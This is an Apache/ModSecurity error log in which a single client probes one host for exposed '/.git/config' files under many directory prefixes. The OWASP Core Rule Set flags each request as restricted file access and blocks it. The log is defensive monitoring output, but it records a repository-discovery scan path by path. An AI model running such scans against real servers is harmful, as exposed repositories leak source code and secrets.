[Wed Apr 03 09:03:55.370529 2024] [:error] [pid 2228853] [client 91.215.85.29:53434] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQeAAAAAU&quot;]
[Wed Apr 03 09:03:55.370862 2024] [:error] [pid 2228853] [client 91.215.85.29:53434] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQeAAAAAU&quot;]
[Wed Apr 03 09:03:55.374258 2024] [:error] [pid 2230841] [client 91.215.85.29:53440] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /qa/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkQAAAAs&quot;]
[Wed Apr 03 09:03:55.374745 2024] [:error] [pid 2230841] [client 91.215.85.29:53440] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkQAAAAs&quot;]
[Wed Apr 03 09:03:55.375137 2024] [:error] [pid 2230841] [client 91.215.85.29:53440] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qa/.git/config&quot;] [unique_id &quot;Zgz_W5TjQsDtbajOrGwvkQAAAAs&quot;]
[Wed Apr 03 09:03:55.392389 2024] [:error] [pid 2228852] [client 91.215.85.29:53446] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repos/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSygAAAAQ&quot;]
[Wed Apr 03 09:03:55.392983 2024] [:error] [pid 2228852] [client 91.215.85.29:53446] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSygAAAAQ&quot;]
[Wed Apr 03 09:03:55.394544 2024] [:error] [pid 2228852] [client 91.215.85.29:53446] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.git/config&quot;] [unique_id &quot;Zgz_Ww-iKLEE0C6YcDZSygAAAAQ&quot;]
[Wed Apr 03 09:03:55.394697 2024] [:error] [pid 2230842] [client 91.215.85.29:53462] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCwAAAAw&quot;]
[Wed Apr 03 09:03:55.395328 2024] [:error] [pid 2230842] [client 91.215.85.29:53462] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCwAAAAw&quot;]
[Wed Apr 03 09:03:55.395809 2024] [:error] [pid 2230842] [client 91.215.85.29:53462] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Zgz_W9bzVbhphexfEPwWCwAAAAw&quot;]
[Wed Apr 03 09:03:55.399791 2024] [:error] [pid 2228849] [client 91.215.85.29:53482] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /samples/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjJAAAAAE&quot;]
[Wed Apr 03 09:03:55.400191 2024] [:error] [pid 2228849] [client 91.215.85.29:53482] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjJAAAAAE&quot;]
[Wed Apr 03 09:03:55.400442 2024] [:error] [pid 2228849] [client 91.215.85.29:53482] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/.git/config&quot;] [unique_id &quot;Zgz_W7xBoV88e0MwmeBjJAAAAAE&quot;]
[Wed Apr 03 09:03:55.401857 2024] [:error] [pid 2234703] [client 91.215.85.29:53470] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /s3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCgAAAAM&quot;]
[Wed Apr 03 09:03:55.402182 2024] [:error] [pid 2234703] [client 91.215.85.29:53470] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCgAAAAM&quot;]
[Wed Apr 03 09:03:55.402432 2024] [:error] [pid 2234703] [client 91.215.85.29:53470] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.git/config&quot;] [unique_id &quot;Zgz_W8Qkj7Byu4QbeJvJCgAAAAM&quot;]
[Wed Apr 03 09:03:55.409197 2024] [:error] [pid 2228850] [client 91.215.85.29:53486] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHgAAAAI&quot;]
[Wed Apr 03 09:03:55.409535 2024] [:error] [pid 2228850] [client 91.215.85.29:53486] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHgAAAAI&quot;]
[Wed Apr 03 09:03:55.409833 2024] [:error] [pid 2228850] [client 91.215.85.29:53486] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Zgz_W0L5fnNG-RUF8dnHHgAAAAI&quot;]
[Wed Apr 03 09:03:55.427120 2024] [:error] [pid 2230835] [client 91.215.85.29:53500] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /site/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclXAAAAAY&quot;]
[Wed Apr 03 09:03:55.427484 2024] [:error] [pid 2230835] [client 91.215.85.29:53500] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclXAAAAAY&quot;]
[Wed Apr 03 09:03:55.427794 2024] [:error] [pid 2230835] [client 91.215.85.29:53500] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.git/config&quot;] [unique_id &quot;Zgz_WwFxYREdOVJ32pclXAAAAAY&quot;]
[Wed Apr 03 09:03:55.438870 2024] [:error] [pid 2230843] [client 91.215.85.29:53504] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBwAAAA0&quot;]
[Wed Apr 03 09:03:55.439417 2024] [:error] [pid 2230843] [client 91.215.85.29:53504] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBwAAAA0&quot;]
[Wed Apr 03 09:03:55.439821 2024] [:error] [pid 2230843] [client 91.215.85.29:53504] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Zgz_W-0iJ8o9USv49PhhBwAAAA0&quot;]
[Wed Apr 03 09:03:55.443593 2024] [:error] [pid 2228848] [client 91.215.85.29:53518] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /staging/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46QAAAAA&quot;]
[Wed Apr 03 09:03:55.444073 2024] [:error] [pid 2228848] [client 91.215.85.29:53518] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46QAAAAA&quot;]
[Wed Apr 03 09:03:55.444458 2024] [:error] [pid 2228848] [client 91.215.85.29:53518] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.git/config&quot;] [unique_id &quot;Zgz_W47f3rgtRC4ZUcZ46QAAAAA&quot;]
[Wed Apr 03 09:03:55.449715 2024] [:error] [pid 2230840] [client 91.215.85.29:53540] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQQAAAAo&quot;]
[Wed Apr 03 09:03:55.450111 2024] [:error] [pid 2230840] [client 91.215.85.29:53540] [client 91.215.85.29] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQQAAAAo&quot;]
[Wed Apr 03 09:03:55.450466 2024] [:error] [pid 2230840] [client 91.215.85.29:53540] [client 91.215.85.29] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Zgz_WzTnKRItLao_rhnEQQAAAAo&quot;]
[Wed Apr 03 09:03:55.475593 2024] [:error] [pid 2228853] [client 91.215.85.29:53526] [client 91.215.85.29] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /static/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static/.git/config&quot;] [unique_id &quot;Zgz_WwgFjuP0VcLbM5tQeQAAAAU&quot;]
